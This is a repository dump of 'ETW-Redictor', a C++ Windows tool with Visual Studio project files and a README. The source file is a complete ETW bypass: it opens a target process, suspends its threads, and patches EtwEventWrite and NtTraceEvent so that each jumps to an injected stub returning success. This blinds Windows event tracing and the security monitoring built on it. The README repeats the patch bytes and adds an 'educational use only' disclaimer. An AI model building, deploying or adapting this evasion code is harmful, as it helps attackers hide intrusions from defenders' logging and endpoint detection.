├── ETW-Redictor.sln ├── ETW-Redictor ├── ETW-Redictor.vcxproj ├── ETW-Redictor.vcxproj.filters ├── ETW-Redictor.vcxproj.user └── ETW-Redirect.cpp └── README.md /ETW-Redictor.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.13.35931.197 d17.13 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ETW-Redictor", "ETW-Redictor\ETW-Redictor.vcxproj", "{8403EE9E-8BC9-40CA-A24B-AEF016C2E842}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {8403EE9E-8BC9-40CA-A24B-AEF016C2E842}.Debug|x64.ActiveCfg = Debug|x64 17 | {8403EE9E-8BC9-40CA-A24B-AEF016C2E842}.Debug|x64.Build.0 = Debug|x64 18 | {8403EE9E-8BC9-40CA-A24B-AEF016C2E842}.Debug|x86.ActiveCfg = Debug|Win32 19 | {8403EE9E-8BC9-40CA-A24B-AEF016C2E842}.Debug|x86.Build.0 = Debug|Win32 20 | {8403EE9E-8BC9-40CA-A24B-AEF016C2E842}.Release|x64.ActiveCfg = Release|x64 21 | {8403EE9E-8BC9-40CA-A24B-AEF016C2E842}.Release|x64.Build.0 = Release|x64 22 | {8403EE9E-8BC9-40CA-A24B-AEF016C2E842}.Release|x86.ActiveCfg = Release|Win32 23 | {8403EE9E-8BC9-40CA-A24B-AEF016C2E842}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {70D87A3E-627A-4F55-A42D-ADFCD73433C0} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /ETW-Redictor/ETW-Redictor.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 17.0 23 | Win32Proj 24 | {8403ee9e-8bc9-40ca-a24b-aef016c2e842} 25 | ETWRedictor 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v143 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v143 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v143 46 | Unicode 47 | 48 | 49 | Application 50 | false 51 | v143 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | Level3 76 | true 77 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 78 | true 79 | 80 | 81 | Console 82 | true 83 | 84 | 85 | 86 | 87 | Level3 88 | true 89 | true 90 | true 91 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 92 | true 93 | 94 | 95 | Console 96 | true 97 | true 98 | true 99 | 100 | 101 | 102 | 103 | Level3 104 | true 105 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 106 | true 107 | 108 | 109 | Console 110 | true 111 | 112 | 113 | 114 | 115 | Level3 116 | true 117 | true 118 | true 119 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 120 | true 121 | 122 | 123 | Console 124 | true 125 | true 126 | true 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | -------------------------------------------------------------------------------- /ETW-Redictor/ETW-Redictor.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Zdrojové soubory 20 | 21 | 22 | -------------------------------------------------------------------------------- /ETW-Redictor/ETW-Redictor.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | -------------------------------------------------------------------------------- /ETW-Redictor/ETW-Redirect.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | #pragma comment(lib, "ntdll.lib") 13 | 14 | typedef struct _MY_CLIENT_ID { 15 | HANDLE UniqueProcess; 16 | HANDLE UniqueThread; 17 | } MY_CLIENT_ID, * PMY_CLIENT_ID; 18 | 19 | extern "C" NTSTATUS NTAPI NtAllocateVirtualMemory( 20 | _In_ HANDLE ProcessHandle, 21 | _Inout_ PVOID* BaseAddress, 22 | _In_ ULONG_PTR ZeroBits, 23 | _Inout_ PSIZE_T RegionSize, 24 | _In_ ULONG AllocationType, 25 | _In_ ULONG Protect 26 | ); 27 | 28 | extern "C" NTSTATUS NTAPI NtProtectVirtualMemory( 29 | _In_ HANDLE ProcessHandle, 30 | _Inout_ PVOID* BaseAddress, 31 | _Inout_ PSIZE_T RegionSize, 32 | _In_ ULONG NewProtect, 33 | _Out_ PULONG OldProtect 34 | ); 35 | 36 | extern "C" NTSTATUS NTAPI NtWriteVirtualMemory( 37 | _In_ HANDLE ProcessHandle, 38 | _In_opt_ PVOID BaseAddress, 39 | _In_ PVOID Buffer, 40 | _In_ SIZE_T NumberOfBytesToWrite, 41 | _Out_opt_ PSIZE_T NumberOfBytesWritten 42 | ); 43 | 44 | extern "C" NTSTATUS NTAPI NtReadVirtualMemory( 45 | _In_ HANDLE ProcessHandle, 46 | _In_opt_ PVOID BaseAddress, 47 | _Out_ PVOID Buffer, 48 | _In_ SIZE_T BufferSize, 49 | _Out_opt_ PSIZE_T NumberOfBytesRead 50 | ); 51 | 52 | extern "C" NTSTATUS NTAPI NtResumeThread( 53 | _In_ HANDLE ThreadHandle, 54 | _Out_opt_ PULONG PreviousSuspendCount 55 | ); 56 | 57 | extern "C" NTSTATUS NTAPI NtSuspendThread( 58 | _In_ HANDLE ThreadHandle, 59 | _Out_opt_ PULONG PreviousSuspendCount 60 | ); 61 | 62 | extern "C" NTSTATUS NTAPI NtOpenThread( 63 | _Out_ PHANDLE ThreadHandle, 64 | _In_ ACCESS_MASK DesiredAccess, 65 | _In_ POBJECT_ATTRIBUTES ObjectAttributes, 66 | _In_ PMY_CLIENT_ID ClientId 67 | ); 68 | 69 | extern "C" NTSTATUS NTAPI NtTraceEvent( 70 | _In_ HANDLE TraceHandle, 71 | _In_ ULONG Flags, 72 | _In_ ULONG FieldSize, 73 | _In_ PVOID Fields 74 | ); 75 | 76 | class Logger { 77 | private: 78 | bool m_debugEnabled; 79 | 80 | public: 81 | Logger(bool debugEnabled = false) : m_debugEnabled(debugEnabled) {} 82 | 83 | void setDebugEnabled(bool enabled) { 84 | m_debugEnabled = enabled; 85 | } 86 | 87 | void debug(const std::string& message) { 88 | if (m_debugEnabled) { 89 | std::cout << "[DEBUG] " << message << std::endl; 90 | } 91 | } 92 | 93 | void info(const std::string& message) { 94 | std::cout << "[+] " << message << std::endl; 95 | } 96 | 97 | void error(const std::string& message) { 98 | std::cerr << "[-] " << message << std::endl; 99 | } 100 | 101 | std::string formatHex(PVOID ptr) { 102 | std::stringstream ss; 103 | ss << "0x" << std::hex << std::setw(16) << std::setfill('0') << (ULONG_PTR)ptr; 104 | return ss.str(); 105 | } 106 | 107 | std::string formatStatus(NTSTATUS status) { 108 | std::stringstream ss; 109 | ss << "0x" << std::hex << std::setw(8) << std::setfill('0') << status; 110 | return ss.str(); 111 | } 112 | }; 113 | 114 | class EtwBypass { 115 | private: 116 | struct EtwFunction { 117 | std::string name; 118 | PVOID address; 119 | PVOID hookAddress; 120 | std::vector originalBytes; 121 | }; 122 | 123 | DWORD m_processId; 124 | HANDLE m_processHandle; 125 | std::vector m_threadHandles; 126 | Logger m_logger; 127 | bool m_verbose; 128 | bool m_pause; 129 | std::vector m_etwFunctions; 130 | 131 | BOOL GetProcessThreads(DWORD processId, std::vector& threadIds) { 132 | HANDLE hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); 133 | if (hThreadSnap == INVALID_HANDLE_VALUE) { 134 | m_logger.error("Failed to create thread snapshot. Error: " + std::to_string(GetLastError())); 135 | return FALSE; 136 | } 137 | 138 | THREADENTRY32 te32; 139 | te32.dwSize = sizeof(THREADENTRY32); 140 | 141 | if (!Thread32First(hThreadSnap, &te32)) { 142 | m_logger.error("Failed to get first thread. Error: " + std::to_string(GetLastError())); 143 | CloseHandle(hThreadSnap); 144 | return FALSE; 145 | } 146 | 147 | do { 148 | if (te32.th32OwnerProcessID == processId) { 149 | threadIds.push_back(te32.th32ThreadID); 150 | m_logger.debug("Found thread ID: " + std::to_string(te32.th32ThreadID)); 151 | } 152 | } while (Thread32Next(hThreadSnap, &te32)); 153 | 154 | CloseHandle(hThreadSnap); 155 | return TRUE; 156 | } 157 | 158 | BOOL SuspendAllThreads() { 159 | std::vector threadIds; 160 | if (!GetProcessThreads(m_processId, threadIds)) { 161 | m_logger.error("Failed to enumerate process threads"); 162 | return FALSE; 163 | } 164 | 165 | for (DWORD threadId : threadIds) { 166 | if (threadId == GetCurrentThreadId()) continue; 167 | 168 | HANDLE hThread = NULL; 169 | OBJECT_ATTRIBUTES oa = { sizeof(OBJECT_ATTRIBUTES) }; 170 | MY_CLIENT_ID cid = { 0 }; 171 | cid.UniqueProcess = (HANDLE)(ULONG_PTR)m_processId; 172 | cid.UniqueThread = (HANDLE)(ULONG_PTR)threadId; 173 | 174 | NTSTATUS status = NtOpenThread( 175 | &hThread, 176 | THREAD_SUSPEND_RESUME, 177 | &oa, 178 | &cid 179 | ); 180 | 181 | if (NT_SUCCESS(status)) { 182 | ULONG previousCount = 0; 183 | status = NtSuspendThread(hThread, &previousCount); 184 | if (NT_SUCCESS(status)) { 185 | m_threadHandles.push_back(hThread); 186 | m_logger.debug("Suspended thread ID: " + std::to_string(threadId)); 187 | } 188 | else { 189 | CloseHandle(hThread); 190 | } 191 | } 192 | } 193 | 194 | m_logger.info("Suspended " + std::to_string(m_threadHandles.size()) + " threads"); 195 | return m_threadHandles.size() > 0; 196 | } 197 | 198 | BOOL ResumeAllThreads() { 199 | BOOL result = TRUE; 200 | for (HANDLE hThread : m_threadHandles) { 201 | ULONG previousCount = 0; 202 | NtResumeThread(hThread, &previousCount); 203 | CloseHandle(hThread); 204 | } 205 | m_threadHandles.clear(); 206 | return result; 207 | } 208 | 209 | PVOID FindFunctionAddress(const char* functionName) { 210 | HMODULE hMods[1024]; 211 | DWORD cbNeeded; 212 | if (!EnumProcessModules(m_processHandle, hMods, sizeof(hMods), &cbNeeded)) { 213 | return NULL; 214 | } 215 | 216 | HMODULE ntdllModule = NULL; 217 | for (unsigned int i = 0; i < (cbNeeded / sizeof(HMODULE)); i++) { 218 | CHAR szModName[MAX_PATH]; 219 | if (GetModuleFileNameExA(m_processHandle, hMods[i], szModName, sizeof(szModName))) { 220 | if (strstr(szModName, "ntdll.dll") != NULL) { 221 | ntdllModule = hMods[i]; 222 | break; 223 | } 224 | } 225 | } 226 | 227 | if (!ntdllModule) { 228 | return NULL; 229 | } 230 | 231 | MODULEINFO mi; 232 | if (!GetModuleInformation(m_processHandle, ntdllModule, &mi, sizeof(mi))) { 233 | return NULL; 234 | } 235 | 236 | HMODULE hNtdll = LoadLibraryA("ntdll.dll"); 237 | if (!hNtdll) { 238 | return NULL; 239 | } 240 | 241 | PVOID localFunction = GetProcAddress(hNtdll, functionName); 242 | if (!localFunction) { 243 | FreeLibrary(hNtdll); 244 | return NULL; 245 | } 246 | 247 | PVOID localNtdllBase = (PVOID)hNtdll; 248 | SIZE_T offset = (SIZE_T)localFunction - (SIZE_T)localNtdllBase; 249 | PVOID remoteFunction = (PVOID)((SIZE_T)mi.lpBaseOfDll + offset); 250 | 251 | FreeLibrary(hNtdll); 252 | return remoteFunction; 253 | } 254 | 255 | BOOL InitializeEtwFunctions() { 256 | const char* functionNames[] = { 257 | "EtwEventWrite", 258 | "NtTraceEvent" 259 | }; 260 | 261 | for (const char* functionName : functionNames) { 262 | PVOID functionAddr = FindFunctionAddress(functionName); 263 | if (functionAddr) { 264 | EtwFunction func = { functionName, functionAddr, NULL }; 265 | m_etwFunctions.push_back(func); 266 | m_logger.info("Found " + std::string(functionName) + " at " + m_logger.formatHex(functionAddr)); 267 | } 268 | } 269 | 270 | return !m_etwFunctions.empty(); 271 | } 272 | 273 | void PrintMemoryBytes(PVOID address, SIZE_T size) { 274 | std::vector buffer(size); 275 | SIZE_T bytesRead = 0; 276 | 277 | NTSTATUS status = NtReadVirtualMemory( 278 | m_processHandle, 279 | address, 280 | buffer.data(), 281 | size, 282 | &bytesRead 283 | ); 284 | 285 | if (NT_SUCCESS(status) && bytesRead == size) { 286 | std::stringstream ss; 287 | ss << "Memory at " << m_logger.formatHex(address) << ":" << std::endl; 288 | 289 | for (SIZE_T i = 0; i < size; i++) { 290 | ss << std::hex << std::setw(2) << std::setfill('0') << static_cast(buffer[i]) << " "; 291 | if ((i + 1) % 16 == 0) ss << std::endl; 292 | } 293 | m_logger.info(ss.str()); 294 | } 295 | } 296 | 297 | BOOL HookFunction(EtwFunction& func) { 298 | if (m_verbose) { 299 | PrintMemoryBytes(func.address, 16); 300 | } 301 | 302 | unsigned char etwBypass[] = { 303 | 0x48, 0x33, 0xC0,// xor rax, rax 304 | 0x48, 0xFF, 0xC0,//inc rax 305 | 0xC3//ret 306 | }; 307 | 308 | func.originalBytes.resize(sizeof(etwBypass)); 309 | SIZE_T bytesRead = 0; 310 | NTSTATUS status = NtReadVirtualMemory( 311 | m_processHandle, 312 | func.address, 313 | func.originalBytes.data(), 314 | func.originalBytes.size(), 315 | &bytesRead 316 | ); 317 | 318 | if (!NT_SUCCESS(status)) { 319 | return FALSE; 320 | } 321 | 322 | PVOID remoteMemory = NULL; 323 | SIZE_T regionSize = sizeof(etwBypass); 324 | status = NtAllocateVirtualMemory( 325 | m_processHandle, 326 | &remoteMemory, 327 | 0, 328 | ®ionSize, 329 | MEM_COMMIT | MEM_RESERVE, 330 | PAGE_READWRITE 331 | ); 332 | 333 | if (!NT_SUCCESS(status)) { 334 | return FALSE; 335 | } 336 | 337 | SIZE_T bytesWritten = 0; 338 | status = NtWriteVirtualMemory( 339 | m_processHandle, 340 | remoteMemory, 341 | etwBypass, 342 | sizeof(etwBypass), 343 | &bytesWritten 344 | ); 345 | 346 | if (!NT_SUCCESS(status) || bytesWritten != sizeof(etwBypass)) { 347 | return FALSE; 348 | } 349 | 350 | if (m_verbose) { 351 | PrintMemoryBytes(remoteMemory, sizeof(etwBypass)); 352 | } 353 | 354 | ULONG oldProtect = 0; 355 | status = NtProtectVirtualMemory( 356 | m_processHandle, 357 | &remoteMemory, 358 | ®ionSize, 359 | PAGE_EXECUTE_READ, 360 | &oldProtect 361 | ); 362 | 363 | if (!NT_SUCCESS(status)) { 364 | return FALSE; 365 | } 366 | 367 | unsigned char jumpBytes[14] = { 0 }; 368 | jumpBytes[0] = 0x48; // mov rax, 369 | jumpBytes[1] = 0xB8; 370 | *(PVOID*)(&jumpBytes[2]) = remoteMemory; 371 | jumpBytes[10] = 0xFF; // jmp rax 372 | jumpBytes[11] = 0xE0; 373 | jumpBytes[12] = 0xCC; // int3 (padding) 374 | jumpBytes[13] = 0xCC; // int3 (padding) 375 | 376 | PVOID targetAddr = func.address; 377 | regionSize = sizeof(jumpBytes); 378 | status = NtProtectVirtualMemory( 379 | m_processHandle, 380 | &targetAddr, 381 | ®ionSize, 382 | PAGE_READWRITE, 383 | &oldProtect 384 | ); 385 | 386 | if (!NT_SUCCESS(status)) { 387 | return FALSE; 388 | } 389 | 390 | status = NtWriteVirtualMemory( 391 | m_processHandle, 392 | func.address, 393 | jumpBytes, 394 | sizeof(jumpBytes), 395 | &bytesWritten 396 | ); 397 | 398 | if (!NT_SUCCESS(status) || bytesWritten != sizeof(jumpBytes)) { 399 | return FALSE; 400 | } 401 | 402 | if (m_verbose) { 403 | PrintMemoryBytes(func.address, sizeof(jumpBytes)); 404 | } 405 | 406 | status = NtProtectVirtualMemory( 407 | m_processHandle, 408 | &targetAddr, 409 | ®ionSize, 410 | oldProtect, 411 | &oldProtect 412 | ); 413 | 414 | if (!NT_SUCCESS(status)) { 415 | return FALSE; 416 | } 417 | 418 | func.hookAddress = remoteMemory; 419 | return TRUE; 420 | } 421 | 422 | public: 423 | EtwBypass(DWORD processId, bool verbose = false, bool pause = false) : 424 | m_processId(processId), 425 | m_processHandle(NULL), 426 | m_verbose(verbose), 427 | m_pause(pause) { 428 | m_logger.setDebugEnabled(verbose); 429 | } 430 | 431 | ~EtwBypass() { 432 | if (m_processHandle) { 433 | CloseHandle(m_processHandle); 434 | } 435 | ResumeAllThreads(); 436 | } 437 | 438 | BOOL Execute() { 439 | m_logger.info("Targeting process with PID: " + std::to_string(m_processId)); 440 | 441 | m_processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, m_processId); 442 | if (!m_processHandle) { 443 | m_logger.error("Failed to open process"); 444 | return FALSE; 445 | } 446 | 447 | if (!SuspendAllThreads()) { 448 | m_logger.error("Failed to suspend threads"); 449 | CloseHandle(m_processHandle); 450 | return FALSE; 451 | } 452 | 453 | if (!InitializeEtwFunctions()) { 454 | m_logger.error("Failed to initialize ETW functions"); 455 | ResumeAllThreads(); 456 | CloseHandle(m_processHandle); 457 | return FALSE; 458 | } 459 | 460 | bool allSuccess = true; 461 | for (auto& func : m_etwFunctions) { 462 | if (!HookFunction(func)) { 463 | m_logger.error("Failed to hook " + func.name); 464 | allSuccess = false; 465 | } 466 | else { 467 | m_logger.info("Successfully hooked " + func.name); 468 | } 469 | } 470 | 471 | if (!ResumeAllThreads()) { 472 | m_logger.error("Failed to resume threads"); 473 | CloseHandle(m_processHandle); 474 | return FALSE; 475 | } 476 | 477 | return allSuccess; 478 | } 479 | }; 480 | 481 | void PrintBanner() { 482 | std::cout << "\n==================================================" << std::endl; 483 | std::cout << " ETW Redirection Tool " << std::endl; 484 | std::cout << "==================================================" << std::endl; 485 | } 486 | 487 | int main(int argc, char* argv[]) { 488 | PrintBanner(); 489 | 490 | bool verbose = false; 491 | DWORD pid = 0; 492 | 493 | for (int i = 1; i < argc; i++) { 494 | if (strcmp(argv[i], "-v") == 0 || strcmp(argv[i], "--verbose") == 0) { 495 | verbose = true; 496 | } 497 | else if (isdigit(argv[i][0])) { 498 | pid = atoi(argv[i]); 499 | } 500 | else if (strcmp(argv[i], "-h") == 0 || strcmp(argv[i], "--help") == 0) { 501 | std::cout << "\nUsage: " << argv[0] << " [-v|--verbose]" << std::endl; 502 | return 0; 503 | } 504 | } 505 | 506 | if (pid <= 0) { 507 | std::cerr << "[-] Invalid or missing PID" << std::endl; 508 | std::cout << "\nUsage: " << argv[0] << " [-v|--verbose]" << std::endl; 509 | return 1; 510 | } 511 | 512 | EtwBypass bypass(pid, verbose); 513 | if (bypass.Execute()) { 514 | std::cout << "[+] Successfully bypassed ETW in process " << pid << std::endl; 515 | return 0; 516 | } 517 | else { 518 | std::cerr << "[-] Failed to bypass ETW in process " << pid << std::endl; 519 | return 1; 520 | } 521 | } 522 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ETW-Redictor 🛡️ 2 | 3 | A sophisticated Event Tracing for Windows (ETW) redirection tool that enables dynamic ETW bypass through runtime function hooking. 4 | 5 | [![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT) 6 | [![Platform](https://img.shields.io/badge/platform-windows-blue.svg)](https://www.microsoft.com/en-us/windows) 7 | [![C++](https://img.shields.io/badge/language-C++-blue.svg)](https://isocpp.org/) 8 | 9 | ## 🚀 Features 10 | 11 | - Dynamic ETW function hooking at runtime 12 | - Process-specific ETW redirection 13 | - Support for multiple ETW-related functions 14 | - Thread-safe implementation 15 | - Verbose debugging mode 16 | - Clean and modern C++ implementation 17 | 18 | ## 📋 Prerequisites 19 | 20 | - Windows 10/11 21 | - Visual Studio 2019 or later 22 | 23 | ## 🔧 Installation 24 | 25 | 1. Open the solution in Visual Studio 26 | 2. Build the project in Release/Dbg mode 27 | 28 | ## 💻 Usage 29 | 30 | ```bash 31 | ETW-Redictor.exe [-v|--verbose] 32 | ``` 33 | 34 | ### Parameters: 35 | - `PID`: Process ID to target for ETW redirection 36 | - `-v` or `--verbose`: Enable verbose debugging output 37 | - `-h` or `--help`: Display help information 38 | 39 | ## 🔍 Technical Analysis 40 | 41 | ### Architecture Overview 42 | 43 | ETW-Redictor employs a sophisticated approach to redirect Event Tracing for Windows through dynamic function hooking. Here's how it works: 44 | 45 | 1. **Process Targeting** 46 | - Opens target process with full access rights 47 | - Enumerates and manages process threads 48 | 49 | 2. **Thread Management** 50 | - Suspends all threads (except the current one) before modification 51 | - Safely resumes threads after hooks are in place 52 | 53 | 3. **Function Hooking** 54 | - Targets critical ETW functions: 55 | - `EtwEventWrite` 56 | - `NtTraceEvent` 57 | - Implements a trampoline-based hooking mechanism 58 | 59 | 4. **Memory Operations** 60 | - Uses Native API (`Nt*` functions) for memory operations 61 | - Implements proper memory protection handling 62 | - Ensures thread-safe memory modifications 63 | 64 | ### Hook Implementation 65 | 66 | The hook is implemented through the following steps: 67 | 68 | 1. **Memory Allocation** 69 | ```cpp 70 | // alloc mem for hook 71 | PVOID remoteMemory = NULL; 72 | SIZE_T regionSize = sizeof(etwBypass); 73 | NtAllocateVirtualMemory( 74 | m_processHandle, 75 | &remoteMemory, 76 | 0, 77 | ®ionSize, 78 | MEM_COMMIT | MEM_RESERVE, 79 | PAGE_READWRITE 80 | ); 81 | ``` 82 | 83 | 2. **Hook Code Injection** 84 | ```cpp 85 | // simple ret bypass 86 | unsigned char etwBypass[] = { 87 | 0x48, 0x33, 0xC0, // xor rax, rax 88 | 0x48, 0xFF, 0xC0, // inc rax 89 | 0xC3 // ret 90 | }; 91 | ``` 92 | 93 | 3. **Jump Implementation** 94 | ```cpp 95 | // 14 byte jmp to hook 96 | unsigned char jumpBytes[14] = { 97 | 0x48, 0xB8, // mov rax, 98 | [8 bytes for address], // hook address 99 | 0xFF, 0xE0, // jmp rax 100 | 0xCC, 0xCC // padding 101 | }; 102 | ``` 103 | 104 | ## ⚠️ Disclaimer 105 | 106 | This tool is for educational and research purposes only. Users are responsible for complying with applicable laws and regulations. 107 | 108 | ## 📄 License 109 | 110 | This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details. 111 | --------------------------------------------------------------------------------